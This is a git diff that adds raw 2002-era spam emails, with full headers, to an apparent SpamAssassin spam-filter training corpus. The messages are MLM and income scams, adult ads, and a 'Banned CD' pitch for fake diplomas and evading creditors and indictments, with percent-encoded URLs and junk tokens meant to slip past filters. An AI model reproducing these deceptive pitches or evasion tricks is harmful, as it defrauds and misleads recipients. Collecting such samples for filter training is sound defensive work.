<0000190f67a0$00000c66$00007c37@mx1.mail.yahoo.com> +To: +Subject: LOOK ! Y O U are a W I N N E R here ! - Don't miss out ! ! 6674 +Date: Sun, 21 Jul 2002 22:47:55 -2200 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: RickBellrist055@yahoo.com +X-OriginalArrivalTime: 22 Jul 2002 08:45:15.0859 (UTC) FILETIME=[19C07230:01C2315C] + + +F I N A L N O T I C E ! +NEW PROGRAM pays you IMMEDIATELY! + +Get STARTED TODAY +with USA's fastest growing BUSINESS OPPORTUNITY + +NOT MLM! + +Here you get paid LARGE checks the same day! +Use the Internet to make money 24 hours a day! + +I made unbelievable $21,000 in June! +.. and will prove it, if you wish! + + +Everybody can do this! +- A U T O P I L O T SYSTEM ! - +OUR System generates all LEADS for YOU! + +MINIMUM cash outlay gets you STARTED TODAY! +Program available in US and Canada ONLY! + + +Are you ready to CHANGE YOUR LIFE ? + + +To receive FREE INFO about this LAST OFFER, +please send an email to: RickBellrist@excite.com + +with "SEND INFO" in the subject line!! +(do NOT click REPLY!) + + + + + + + +To remove, please send an email with "REMOVE" +in the subject line to: RickBellrist@excite.com + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00842.bd26298437dec2f1d09fd757afbcb13f b/bayes/spamham/spam_2/00842.bd26298437dec2f1d09fd757afbcb13f new file mode 100644 index 0000000..39163a9 --- /dev/null +++ b/bayes/spamham/spam_2/00842.bd26298437dec2f1d09fd757afbcb13f @@ -0,0 +1,86 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MFUBhY074405 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 10:30:11 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MFUB7o074401 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 10:30:11 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MFTwhX074291 + for ; Mon, 22 Jul 2002 10:30:04 -0500 (CDT) + (envelope-from cpunks@ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id KAA11744 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 10:38:09 -0500 +Received: from serv.faber.com.tw ([211.21.192.180]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id KAA11706; + Mon, 22 Jul 2002 10:37:54 -0500 +From: PaulBennertPlus@yahoo.com +Received: from mx1.mail.yahoo.com ([193.110.58.63] RDNS failed) by serv.faber.com.tw with Microsoft SMTPSVC(5.0.2195.4453); + Mon, 22 Jul 2002 16:46:22 +0800 +Message-ID: <000050cb29d1$000072ff$00007d7e@mx1.mail.yahoo.com> +To: +Subject: LOOK ! Y O U are a W I N N E R here ! - Don't miss out ! ! 6113 +Date: Sun, 21 Jul 2002 22:49:07 -2200 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: RickBellrist055@yahoo.com +X-OriginalArrivalTime: 22 Jul 2002 08:46:27.0390 (UTC) FILETIME=[446335E0:01C2315C] + +Y O U R last chance for + +Y O U R $3000.00 INCOME per WEEK! + + +Give Me 5 Minutes, And I'll Show You +How To Flood Your Bank Account With Serious Cash, + +DID YOU MAKE $12,000 LAST MONTH +IF NOT, YOU NEED TO JOIN US TODAY! + +- FREE Turnkey Marketing System (a $2500 Value) +- FREE Ready-to-Use "Order-Pulling" Ads & Sales Letters +- Earn $1,000 CASH on Each and Every Sale to Infinity! +- Work From Home and Live the "1-Minute" Commute +- Plug Into Our Duplicate-able 3-Step Success System +- YOU receive FULL live SUPPORT! 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    +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00858.86651f55da5fa60fa633876354e0aead b/bayes/spamham/spam_2/00858.86651f55da5fa60fa633876354e0aead new file mode 100644 index 0000000..2c23db0 --- /dev/null +++ b/bayes/spamham/spam_2/00858.86651f55da5fa60fa633876354e0aead @@ -0,0 +1,159 @@ +From dougw_reply@excite.com Mon Jul 22 18:39:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 397F5440C8 + for ; Mon, 22 Jul 2002 13:39:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:39:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhaI08562 for + ; Mon, 22 Jul 2002 16:43:36 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id IAA30815 for ; + Mon, 22 Jul 2002 08:48:53 +0100 +Received: from 151.38.167.208 (adsl-208-167.38-151.net24.it + [151.38.167.208]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP + id g6M7mnp08573 for ; Mon, 22 Jul 2002 08:48:51 +0100 +Message-Id: <200207220748.g6M7mnp08573@mandark.labs.netnoteinc.com> +Received: from sparc.isl.net ([45.55.85.241]) by anther.webhostingtalk.com + with NNFMP; Jul, 22 2002 3:41:55 AM -0800 +Received: from [177.34.196.8] by f64.law4.hotmail.com with NNFMP; + Jul, 22 2002 2:29:34 AM -0000 +Received: from unknown (HELO anther.webhostingtalk.com) (205.220.75.34) by + asy100.as122.sol.superonline.com with smtp; Jul, 22 2002 1:31:57 AM -0200 +Received: from unknown (134.164.251.44) by mail.gmx.net with asmtp; + Jul, 22 2002 12:31:33 AM +0600 +From: "D. Woodward" +To: yyyy@netnoteinc.com +Cc: +Subject: Honest Family Oriented Home based business with residual income on the net. Get involved! anvx +Sender: "D. Woodward" +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Mon, 22 Jul 2002 03:49:00 -0400 +X-Mailer: Internet Mail Service (5.5.2650.21) +X-Priority: 1 + +--------------------- +Note: Your e-mail address was added to a database by you. +I am sending my advertisement to this database and, if +you are not interested in receiving ads similar to mine, +It would be in your best interest to click the below link +and opt-out of our mailings by simply adding your address +to our globalBlock List. Your e-mail address will NOT be +sold, validated or used in other mailings,as it belongs +to you and only you , we respect that! +--------------------- + +...............> For your Free Membership, Click this link: +mailto:teamsuccessrequest@yahoo.com?subject=I_Want_A_Free_Membership +Be sure to include your first and last name in the body of the leter + +Or to be removed from my mailing list, Click this link: +mailto:teamsuccessrequest@yahoo.com?subject=remove + + + + Is this what you're looking for... + +1. DO: Want to work from home? +2. DO: Want to build yourself an income you can be proud of? +3. DO: Want to be able to tell your friends and family about +what you're doing... instead of keeping it a secret so they +don't laugh (I've been there, I know)? +4. DO: Want to be able to produce a copy of your check to +any one interested b in this business? +5. DO: Want to have A Monthly Income which can be passed +on when your time is up? +6. DO: Want to be in a team business which gives you the +chance to help other people AND get paid for it? +7. NOT: Want to be scammed? +8. NOT: Want to spend all your time recruiting? +9. NOT: Want to talk to people on the phone? +10. NOT: Wanting to be involved with a"get rich quick"program? + + Please, do yourself a favor and check this out. +It's absolutely FREE +to get more information and you may cancel at ANY time! + + +.......> For your Free Membership, Click this link: +mailto:teamsuccessrequest@yahoo.com?subject=I_Want_A_Free_Membership +Be sure to include your first and last name in the body of the leter + +Or to be removed from my mailing list, Click this link: +mailto:teamsuccessrequest@yahoo.com?subject=remove + + + + IT DOES NOT MATTER WHERE YOU LIVE! This is an International +business with people all over the world (over 160 different +countries involved)! Join our TEAM and you will succeed! +We have the people, the knowledge and the ability to guide you... +step by step... to a profitable business. + +I AM NOT going to hype you up with Stuff trying to get you involved. +In fact, if you think you're going to make money overnight with this, +please do NOT click on the link. Simply remove yourself from this +list (instructions below). + +The difference between this online business and an offline business +is that the tools you need for proven success... are given to you +for FREE after you decide to create your own successful business! +To verify what I'm saying, ask any local business person if they +were given the tools they needed to make their business the success +it is, for free when they started out.They'll laugh at the question! + +You DO NOT need... +1. A small fortune to get started. +2. A lot of "business knowledge" or "business contacts" to get started. +3. To commute anywhere, talk to anyone or buy any items to get started. + +Everyday hundreds of people join for free and get the free information +theyneed to succeed. When they see that they too can make money with +this business, they get involved. There are already over 2 million +people who have joined for free to check things out. This business has +been thriving for over five years! + +Do you have... + +A. An internet connection. +B. One or two hours a day to build your business. +C. The ability to ask and receive all the help you need to succeed. +D. The drive to succeed. +E. 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Click on the link +below. + +...............> For your Free Membership, Click this link: +mailto:teamsuccessrequest@yahoo.com?subject=I_Want_A_Free_Membership +Be sure to include your first and last name in the body of the leter + +Or to be removed from my mailing list, Click this link: +mailto:teamsuccessrequest@yahoo.com?subject=remove +============================================= +Thank you very much for your precious time! +Sincerely, D.Woodward + +mailto:teamsucc +essrequest@yahoo.com?subject=I_Want_A_Free_Membership +Be sure to include your first and last name in the body of the leter + +To be removed from this mailing list, please click this link: +mailto:teamsuccessrequest@yahoo.com and reply with "remove" in the +subject line. + +aromttixnthdxslmcxklhukpevnjqgwebbsyq + + diff --git a/bayes/spamham/spam_2/00859.9d4f4626b7bcd9d24e20667bf0f22b24 b/bayes/spamham/spam_2/00859.9d4f4626b7bcd9d24e20667bf0f22b24 new file mode 100644 index 0000000..6e747ad --- /dev/null +++ b/bayes/spamham/spam_2/00859.9d4f4626b7bcd9d24e20667bf0f22b24 @@ -0,0 +1,115 @@ +From sm@TheFragile.com Mon Jul 22 18:35:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 85D22440C8 + for ; Mon, 22 Jul 2002 13:35:11 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:35:11 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhUI08465 for + ; Mon, 22 Jul 2002 16:43:30 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA30939 for ; + Mon, 22 Jul 2002 09:28:56 +0100 +Received: from 217.98.50.242 (squid@do.big-net.piekary-sl.net + [217.98.50.242]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP + id g6M8Sop08603 for ; Mon, 22 Jul 2002 09:28:52 +0100 +Message-Id: <200207220828.g6M8Sop08603@mandark.labs.netnoteinc.com> +Received: from unknown (28.35.188.67) by rly-xl04.mx.aol.com with esmtp; + Sun, 07 Apr 2002 13:26:58 +1000; Jul, 22 2002 1:18:55 AM -0800 +Received: from 34.57.158.148 ([34.57.158.148]) by rly-xr02.mx.aol.com with + local; Jul, 22 2002 12:22:34 AM +0700 +Received: from [41.237.71.37] by f64.law4.hotmail.com with NNFMP; + Jul, 21 2002 11:13:42 PM +1200 +From: Videos&DVDs +To: yyyy@netnoteinc.com +Cc: +Subject: Free Adult DVDs. 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Please allow 24 hours for removal. + +This e-mail is sent in compliance with the Information Exchange Promotion +and Privacy Protection Act. section 50 marked as 'Advertisement' with valid +'removal' instruction. + +faarakxavoxcadetxjpir + + diff --git a/bayes/spamham/spam_2/00860.f1651a6a5f33bafe34e23afeacf85eb1 b/bayes/spamham/spam_2/00860.f1651a6a5f33bafe34e23afeacf85eb1 new file mode 100644 index 0000000..cfe2151 --- /dev/null +++ b/bayes/spamham/spam_2/00860.f1651a6a5f33bafe34e23afeacf85eb1 @@ -0,0 +1,36 @@ +Received: from mail.bestfit2000.com ([63.72.220.138]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6LNLOe07130; + Sun, 21 Jul 2002 18:21:25 -0500 +Received: from mx2.arabia.mail2world.com ([213.252.152.113]) by mail.bestfit2000.com with Microsoft SMTPSVC(5.0.2195.4905); + Sun, 21 Jul 2002 15:18:33 -0700 +Message-ID: <00007f880d79$00006e35$000028d0@mail.mailbox.hu> +To: +From: "Apryl Westfall" +Subject: Re: Your love life NWKFJ +Date: Sun, 21 Jul 2002 16:34:24 -1600 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +X-Priority: 1 +X-Msmail-Priority: High +X-Mailer: AOL 7.0 for Windows US sub 118 +X-OriginalArrivalTime: 21 Jul 2002 22:18:34.0162 (UTC) FILETIME=[8D64D120:01C23104] +X-Status: +X-Keywords: + + + + + + A man endowed with a 7-8" hammer is simply
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BANNED CD! +Date: Sun, 21 Jul 2002 16:40:36 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: "Bannedcd"eowu345@yahoo.com + +*****************BANNEDCD::::::::::::::::::::::::::::::::::>NET****************** + +I have been receiving emails saying that I'm contributing to the "moral decay of society" by selling the Banned CD. That may be, but I feel strongly that you have a right to benefit from +this hard-to-find information. + +So I am giving you ONE LAST CHANCE to order the Banned CD! + +With this powerful CD, you will be able to investigate your friends, enemies and lovers in just minutes using the Internet. You can track down old flames from college, or you can dig up some dirt on your boss to make sure you get that next promotion! + + +Or maybe you want a fake diploma to hang on your bedroom wall. You'll find addresses for companies that make these diplomas on the Banned CD. + +Need to disappear fast and never look back? No problem! +Using the Banned CD, you will learn how to build a completely +new identity. + +Obviously, the Powers That Be don't want you to have the Banned CD. They have threatened me with lawsuits, fines, and even imprisonment unless I stop selling it immediately. But I feel that YOU have a Constitutional right to access this type of information, and I can't be intimidated. + + + Uncle Sam and your creditors are horrified that I am still selling this product! There must be a price on my head! + +Why are they so upset? Because this CD gives you freedom. +And you can't buy freedom at your local Walmart. You will +have the freedom to avoid creditors, judgments, lawsuits, IRS +tax collectors, criminal indictments, your greedy ex-wife or +ex-husband, and MUCH more! + +Please Click the URL for the Detail! + +http://%32%317.%31%30%36.%355%2E97 + + +{%RAND%} +You are receiving this special offer because you have provided permission to receive third party email communications regarding special online promotions or offers. We strongly oppose the use of SPAM email and do not want to send our mailings to anyone who does not wish to receive them. If you do not wish to receive any further messages from netcommission. To Be Removed From Our List, +http://%32%317.%31%30%36.%355%2E97/remove.html + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00862.d930739c4303f999fe161ddb0e14f4a5 b/bayes/spamham/spam_2/00862.d930739c4303f999fe161ddb0e14f4a5 new file mode 100644 index 0000000..7d5f109 --- /dev/null +++ b/bayes/spamham/spam_2/00862.d930739c4303f999fe161ddb0e14f4a5 @@ -0,0 +1,73 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M6EPhY054428 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 01:14:26 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6M6EPB7054423 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 01:14:25 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M6EMhX054400 + for ; Mon, 22 Jul 2002 01:14:23 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA30800 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 01:22:36 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA30792 + for cypherpunks-outgoing; Mon, 22 Jul 2002 01:22:28 -0500 +Received: from crawfishboil.org ([208.63.157.136]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id BAA30784; + Mon, 22 Jul 2002 01:22:21 -0500 +Received: from mx3.mailbox.co.za [217.164.251.232] by crawfishboil.org + (SMTPD32-7.06) id A4675E00BA; Sun, 21 Jul 2002 17:23:35 -0500 +Message-ID: <0000436720dc$00003a9c$0000349f@mail.mailbox.hu> +To: +From: "Antonio Denson" +Subject: RE: Doctor Approved Pill LGW +Date: Sun, 21 Jul 2002 16:42:47 -1600 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +X-Priority: 1 +X-Msmail-Priority: High +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + + + + + + A man endowed with a 7-8" hammer is simply
    + better equipped than a man with a 5-6"hammer.
    +
    Would you rather have
    more than enough to get the job done or fall = +short. It's totally up
    to you. Our Methods are guaranteed to increase y= +our size by 1-3"
    Come in here and see how + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00863.21d7abedcd9baef5741247adc3b50717 b/bayes/spamham/spam_2/00863.21d7abedcd9baef5741247adc3b50717 new file mode 100644 index 0000000..b109c02 --- /dev/null +++ b/bayes/spamham/spam_2/00863.21d7abedcd9baef5741247adc3b50717 @@ -0,0 +1,95 @@ +From takinitezathome@yahoo.com Mon Jul 22 18:33:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A13F9440C9 + for ; Mon, 22 Jul 2002 13:33:35 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:33:35 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGD901333 for + ; Mon, 22 Jul 2002 16:16:13 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA32509 for ; + Mon, 22 Jul 2002 15:47:01 +0100 +Received: from est.oabsp.org.br ([200.205.52.10]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6MEjxp09535 for + ; Mon, 22 Jul 2002 15:45:59 +0100 +Received: from QRJATYDI [24.232.119.188] by est.oabsp.org.br + (SMTPD32-7.11) id A9BA48010A; Mon, 22 Jul 2002 11:42:02 -0300 +From: "Success Marketing" +To: +Subject: Buy 1 get 2 FREE: Global Opportunity +X-Priority: 1 +X-Msmail-Priority: High +X-Mailer: Mail for AOL V. 2.3 +Date: Mon, 22 Jul 2002 8:52:26 +-0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-2" +Message-Id: <200207221142812.SM00206@QRJATYDI> + +Established Global Network Marketing Opportunity! + +Our automated sales and marketing system signed up +over 450 people into my downline for me my first +day! + +Binary Plan pays INFINITE LEVELS DEEP PLUS +up to $75.00 for each personal sale! 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I suggest you reserve +your free position now. +mailto:call4cash@excite.com?subject=more_som_info_please + + + + + + + + + + + + + + + + + + +______________________________________________________ +To be removed from our database, please click below: +mailto:nogold4me666@excite.com?subject=remove + + + diff --git a/bayes/spamham/spam_2/00864.26b74488b46463e16a5fa0f521786a48 b/bayes/spamham/spam_2/00864.26b74488b46463e16a5fa0f521786a48 new file mode 100644 index 0000000..ba3d593 --- /dev/null +++ b/bayes/spamham/spam_2/00864.26b74488b46463e16a5fa0f521786a48 @@ -0,0 +1,72 @@ +Return-Path: +Received: from user2.pro-ns.net (user2.pro-ns.net [208.200.182.45]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LN8KCT082941 + for ; Sun, 21 Jul 2002 18:08:25 -0500 (CDT) + (envelope-from sdlfjl@canada.com) +Received: from centa_web.szcentaline.com.cn ([61.143.101.50]) + by user2.pro-ns.net (8.12.3/8.12.2) with ESMTP id g6LN8HrR043801 + for ; Sun, 21 Jul 2002 18:08:18 -0500 (CDT) + (envelope-from sdlfjl@canada.com) +X-Authentication-Warning: user2.pro-ns.net: Host [61.143.101.50] claimed to be centa_web.szcentaline.com.cn +Received: from mx01.earthlink.net (61.11.238.243 [61.11.238.243]) by centa_web.szcentaline.com.cn with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id 34H6KF2T; Mon, 22 Jul 2002 04:53:34 +0800 +Message-ID: <000037683694$00005db6$000018f2@mx10.hotmail.com> +To: +From: sdlfjl@canada.com +Subject: BANNED CD! BANNED CD! +Date: Sun, 21 Jul 2002 16:54:45 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: "peter"weou345@msn.com + +*****************BANNEDCD::::::::::::::::::::::::::::::::::>NET****************** + +I have been receiving emails saying that I'm contributing to the "moral decay of society" by selling the Banned CD. That may be, but I feel strongly that you have a right to benefit from +this hard-to-find information. + +So I am giving you ONE LAST CHANCE to order the Banned CD! + +With this powerful CD, you will be able to investigate your friends, enemies and lovers in just minutes using the Internet. You can track down old flames from college, or you can dig up some dirt on your boss to make sure you get that next promotion! + + +Or maybe you want a fake diploma to hang on your bedroom wall. You'll find addresses for companies that make these diplomas on the Banned CD. + +Need to disappear fast and never look back? No problem! +Using the Banned CD, you will learn how to build a completely +new identity. + +Obviously, the Powers That Be don't want you to have the Banned CD. They have threatened me with lawsuits, fines, and even imprisonment unless I stop selling it immediately. But I feel that YOU have a Constitutional right to access this type of information, and I can't be intimidated. + + + Uncle Sam and your creditors are horrified that I am still selling this product! There must be a price on my head! + +Why are they so upset? Because this CD gives you freedom. +And you can't buy freedom at your local Walmart. You will +have the freedom to avoid creditors, judgments, lawsuits, IRS +tax collectors, criminal indictments, your greedy ex-wife or +ex-husband, and MUCH more! + +Please Click the URL for the Detail! + +http://%32%317.%31%30%36.%355%2E97 + + +{%RAND%} +You are receiving this special offer because you have provided permission to receive third party email communications regarding special online promotions or offers. We strongly oppose the use of SPAM email and do not want to send our mailings to anyone who does not wish to receive them. If you do not wish to receive any further messages from netcommission. To Be Removed From Our List, +http://%32%317.%31%30%36.%355%2E97/remove.html + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00865.5021e39ed3259477237997ff88595997 b/bayes/spamham/spam_2/00865.5021e39ed3259477237997ff88595997 new file mode 100644 index 0000000..5d37473 --- /dev/null +++ b/bayes/spamham/spam_2/00865.5021e39ed3259477237997ff88595997 @@ -0,0 +1,77 @@ +From rory007460171i01@edtnmail.com Tue Jul 23 11:44:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0A3BB440CC + for ; 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Mon, 22 Jul 2002 11:29:29 +0100 +From: "Contest Admin" +To: hmlflk@hotmail.com, curt1@sosinet.net, saquick2@yahoo.com, hemlig@vpi.net +CC: donnahub@acsinc.net, angel_foster@msn.com, cypherpunks@einstein.ssz.com +Date: Mon, 22 Jul 2002 06:33:38 -0400 +Old-Subject: CDR: Hello hmlflk ! It's Time +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +MIME-Version: 1.0 +X-Precedence-Ref: l23 +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Hello hmlflk ! It's Time + + + +Giveaway Destinations! + + + + + + + + +
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    + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00867.837631a8172cf448af7e15d4bedba95e b/bayes/spamham/spam_2/00867.837631a8172cf448af7e15d4bedba95e new file mode 100644 index 0000000..4c7c98e --- /dev/null +++ b/bayes/spamham/spam_2/00867.837631a8172cf448af7e15d4bedba95e @@ -0,0 +1,121 @@ +Return-Path: +Received: from user2.pro-ns.net (user2.pro-ns.net [208.200.182.45]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M1MQhX039501 + for ; Sun, 21 Jul 2002 20:22:26 -0500 (CDT) + (envelope-from webmaster2fg7@address.com) +Received: from sandiego.cratex.com (adsl-66-123-247-98.dsl.sndg02.pacbell.net [66.123.247.98]) + by user2.pro-ns.net (8.12.3/8.12.2) with ESMTP id g6M1MQvw055548 + for ; Sun, 21 Jul 2002 20:22:26 -0500 (CDT) + (envelope-from webmaster2fg7@address.com) +X-Authentication-Warning: user2.pro-ns.net: Host adsl-66-123-247-98.dsl.sndg02.pacbell.net [66.123.247.98] claimed to be sandiego.cratex.com +Received: from postoffice.address.com (202.163.194.82 [202.163.194.82]) by sandiego.cratex.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id PK6PWTHS; Sun, 21 Jul 2002 15:42:48 -0700 +Message-ID: <000049ee402c$000077a9$00002f42@postoffice.address.com> +To: +From: webmaster2fg7@address.com +Subject: Your application is below. Expires July 27. +Date: Sun, 21 Jul 2002 18:44:50 -1600 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +Reply-To: webmaster2fg7@address.com + + + + + + + + + + + + +
    +
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    + + + + + + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00868.76cd0137b596a4e0c0e3ae3e416479aa b/bayes/spamham/spam_2/00868.76cd0137b596a4e0c0e3ae3e416479aa new file mode 100644 index 0000000..35d13a2 --- /dev/null +++ b/bayes/spamham/spam_2/00868.76cd0137b596a4e0c0e3ae3e416479aa @@ -0,0 +1,121 @@ +Return-Path: +Received: from user2.pro-ns.net (user2.pro-ns.net [208.200.182.45]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LMqkCT076963 + for ; Sun, 21 Jul 2002 17:52:46 -0500 (CDT) + (envelope-from tomkelly2fg7@address.com) +Received: from IIS.The9thInning.Net (cdm-66-7-222-bent.cox-internet.com [66.233.7.222]) + by user2.pro-ns.net (8.12.3/8.12.2) with ESMTP id g6LMqjrR042595 + for ; Sun, 21 Jul 2002 17:52:45 -0500 (CDT) + (envelope-from tomkelly2fg7@address.com) +X-Authentication-Warning: user2.pro-ns.net: Host cdm-66-7-222-bent.cox-internet.com [66.233.7.222] claimed to be IIS.The9thInning.Net +Received: from postoffice.address.com (host110250.arnet.net.ar [200.45.110.250]) by IIS.The9thInning.Net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id PKX05FBX; Sun, 21 Jul 2002 17:48:21 -0500 +Message-ID: <000010d30e52$000009e1$00003484@postoffice.address.com> +To: +From: tomkelly2fg7@address.com +Subject: Your 